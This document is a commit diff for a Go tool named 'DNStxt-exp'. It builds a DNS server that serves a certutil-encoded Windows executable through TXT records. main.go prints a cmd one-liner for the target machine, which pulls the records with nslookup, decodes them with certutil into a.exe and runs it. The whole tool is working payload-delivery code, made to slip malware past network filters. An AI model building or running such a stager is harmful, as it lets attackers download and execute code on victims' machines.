Commit code

.gitignore

@@ -13,3 +13,7 @@
 
 # Dependency directories (remove the comment below to include it)
 # vendor/
+
+.idea
+release
+build.sh

dns/server.go

@@ -0,0 +1,123 @@
+// Package dns Created by vaycore on 2021-12-31.
+package dns
+
+import (
+	"fmt"
+	"golang.org/x/net/dns/dnsmessage"
+	"net"
+)
+
+type Server struct {
+	serverName string
+	port       int
+	txtRecord  []string
+}
+
+func CreateServer(name string, port int, record []string) *Server {
+	if len(name) == 0 {
+		name = "google"
+	}
+	if port < 0 || port > 65535 {
+		port = 53
+	}
+	if len(record) == 0 {
+		record = []string{"default txt record"}
+	}
+	return &Server{
+		serverName: name,
+		port:       port,
+		txtRecord:  record,
+	}
+}
+
+func (s Server) StartDNSServer() {
+	conn, err := net.ListenUDP("udp", &net.UDPAddr{Port: s.port})
+	if err != nil {
+		panic(err)
+	}
+	defer conn.Close()
+	fmt.Printf("Start Listing ... 0.0.0.0:%d, ServerName: %s\n", s.port, s.serverName)
+	for {
+		buf := make([]byte, 512)
+		_, addr, _ := conn.ReadFromUDP(buf)
+
+		var msg dnsmessage.Message
+		if err := msg.Unpack(buf); err != nil {
+			fmt.Println(err)
+			continue
+		}
+		go s.queryHandler(addr, conn, msg)
+	}
+}
+
+// dns record query handler
+func (s Server) queryHandler(addr *net.UDPAddr, conn *net.UDPConn, msg dnsmessage.Message) {
+	// query info
+	if len(msg.Questions) < 1 {
+		return
+	}
+	question := msg.Questions[0]
+	var (
+		queryTypeStr = question.Type.String()
+		queryNameStr = question.Name.String()
+		queryType    = question.Type
+		queryName    = question.Name
+	)
+	fmt.Printf("[%s] queryName: [%s]\n", queryTypeStr, queryNameStr)
+	// find record
+	var resource dnsmessage.Resource
+	switch queryType {
+	case dnsmessage.TypeTXT:
+		resource = NewTXTResource(queryName, s.txtRecord)
+	case dnsmessage.TypePTR:
+		resource = NewPTRResource(queryName, s.serverName+".")
+	default:
+		fmt.Printf("not support dns queryType: [%s] \n", queryTypeStr)
+		return
+	}
+
+	// send response
+	msg.Response = true
+	msg.Answers = append(msg.Answers, resource)
+	Response(addr, conn, msg)
+}
+
+// Response return
+func Response(addr *net.UDPAddr, conn *net.UDPConn, msg dnsmessage.Message) {
+	packed, err := msg.Pack()
+	if err != nil {
+		fmt.Println(err)
+		return
+	}
+	if _, err := conn.WriteToUDP(packed, addr); err != nil {
+		fmt.Println(err)
+	}
+}
+
+// NewTXTResource TXT record
+func NewTXTResource(query dnsmessage.Name, txt []string) dnsmessage.Resource {
+	return dnsmessage.Resource{
+		Header: dnsmessage.ResourceHeader{
+			Name:  query,
+			Class: dnsmessage.ClassINET,
+			TTL:   600,
+		},
+		Body: &dnsmessage.TXTResource{
+			TXT: txt,
+		},
+	}
+}
+
+// NewPTRResource PTR record
+func NewPTRResource(query dnsmessage.Name, ptr string) dnsmessage.Resource {
+	name, _ := dnsmessage.NewName(ptr)
+	return dnsmessage.Resource{
+		Header: dnsmessage.ResourceHeader{
+			Name:  query,
+			Class: dnsmessage.ClassINET,
+		},
+		Body: &dnsmessage.PTRResource{
+			PTR: name,
+		},
+	}
+}

go.mod

@@ -0,0 +1,5 @@
+module dnstxt-exp
+
+go 1.17
+
+require golang.org/x/net v0.0.0-20211216030914-fe4d6282115f

go.sum

@@ -0,0 +1,7 @@
+golang.org/x/net v0.0.0-20211216030914-fe4d6282115f h1:hEYJvxw1lSnWIl8X9ofsYMklzaDs90JI2az5YMd4fPM=
+golang.org/x/net v0.0.0-20211216030914-fe4d6282115f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
+golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
+golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=

main.go

@@ -0,0 +1,81 @@
+package main
+
+import (
+	"dnstxt-exp/dns"
+	"dnstxt-exp/utils"
+	"flag"
+	"fmt"
+	"syscall"
+)
+
+var (
+	serverName string
+	port       int
+	encodeFile string
+	prefixFlag string
+	textRecord []string
+)
+
+const banner = `
+_____________   _____________       _____                            
+___  __ \__  | / /_  ___/_  /____  ___  /_      _________  _________ 
+__  / / /_   |/ /_____ \_  __/_  |/_/  __/_______  _ \_  |/_/__  __ \
+_  /_/ /_  /|  / ____/ // /_ __>  < / /_ _/_____/  __/_>  < __  /_/ /
+/_____/ /_/ |_/  /____/ \__/ /_/|_| \__/        \___//_/|_| _  .___/ 
+                                                            /_/
+`
+const version = "0.0.1"
+
+func parseFlag() {
+	flag.StringVar(&encodeFile, "f", "encode.txt", "Generate encode.txt file command: "+
+		"==> certutil.exe -encode artifact.exe encode.txt <==\n")
+	flag.StringVar(&serverName, "name", "public1.alidns.com", "DNS server name")
+	flag.IntVar(&port, "p", 53, "DNS server port")
+	flag.StringVar(&prefixFlag, "flag", "exec", "Add prefix flag to lines")
+	flag.Parse()
+}
+
+func printBanner() {
+	fmt.Printf("%s\n", banner[1:])
+	fmt.Printf("DNStxt-exp Version: %s -- Created by vaycore\n\n", version)
+}
+
+func printHelp() {
+	fmt.Println("Options:")
+	flag.PrintDefaults()
+	fmt.Println()
+}
+
+func onInit() {
+	parseFlag()
+	// check file exists
+	if !utils.FileExists(encodeFile) {
+		printHelp()
+		fmt.Printf("encode file %s is not exists\n", encodeFile)
+		syscall.Exit(1)
+	}
+	// check file lines
+	lines := utils.FileReadingLines(encodeFile)
+	if len(lines) == 0 {
+		printHelp()
+		fmt.Printf("encode file %s no content!\n", encodeFile)
+		syscall.Exit(1)
+	}
+	// add prefix flag to lines
+	for _, line := range lines {
+		newLine := prefixFlag + line
+		textRecord = append(textRecord, newLine)
+	}
+}
+
+func main() {
+	printBanner()
+	onInit()
+	fmt.Println("Revert file and run:")
+	fmt.Println(`cmd /v:on /Q /c "set a= && set b= && ` +
+		`for /f "tokens=*" %i in ('nslookup -qt^=TXT www.baidu.com 0.0.0.0 ^| findstr "exec"') ` +
+		`do (set a=%i && echo !a:~5,-2!)" > d.txt && certutil -decode d.txt a.exe && cmd /c a.exe`)
+	fmt.Println()
+	server := dns.CreateServer(serverName, port, textRecord)
+	server.StartDNSServer()
+}

utils/utils.go

@@ -0,0 +1,42 @@
+// Package utils Created by vaycore on 2021-12-31.
+package utils
+
+import (
+	"bufio"
+	"os"
+	"strings"
+)
+
+func FileExists(path string) bool {
+	_, err := os.Stat(path)
+	return err == nil || os.IsExist(err)
+}
+
+func FileReadingLines(filename string) []string {
+	var result []string
+	file, err := os.Open(filename)
+	defer file.Close()
+	if err != nil {
+		return result
+	}
+
+	scanner := bufio.NewScanner(file)
+	for scanner.Scan() {
+		if line := scanner.Text(); IsNotEmpty(line) {
+			result = append(result, line)
+		}
+	}
+
+	if err := scanner.Err(); err != nil {
+		return result
+	}
+	return result
+}
+
+func IsNotEmpty(value string) bool {
+	return !IsEmpty(value)
+}
+
+func IsEmpty(value string) bool {
+	return len(value) == 0 || len(strings.TrimSpace(value)) == 0
+}